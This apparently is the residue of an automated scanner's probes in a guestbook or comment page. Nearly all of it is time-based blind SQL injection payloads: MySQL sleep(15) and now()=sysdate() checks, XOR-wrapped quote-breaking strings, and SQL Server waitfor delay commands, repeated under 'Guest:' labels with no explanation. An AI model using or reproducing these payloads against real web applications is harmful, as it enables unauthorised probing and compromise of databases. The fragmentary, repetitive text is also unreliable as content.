-1" OR 2+582-582-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1; waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1); waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
L5Tmc9rU'; waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0wvyc7J6'); waitfor delay '0:0:15' --